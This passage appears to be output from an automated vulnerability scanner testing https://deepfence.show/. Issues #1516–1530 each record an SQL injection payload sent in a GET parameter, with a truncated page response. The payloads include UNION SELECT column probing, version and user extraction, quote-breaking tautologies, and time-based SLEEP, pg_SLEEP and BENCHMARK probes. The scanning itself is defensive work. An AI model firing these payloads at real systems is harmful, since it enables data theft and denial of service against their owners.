9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1516
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1517
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89Issue Number #1518
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 11--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1519
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR
(88)+CHAR(118)+CHAR(120)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1520
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1521
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1522
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ') or ('x')=('x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1523
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '''''''''''''UNION SELECT '2
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1524
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1525
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1526Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1527
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1528
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or pg_SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1529
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1530
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1) or benchmark(10000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
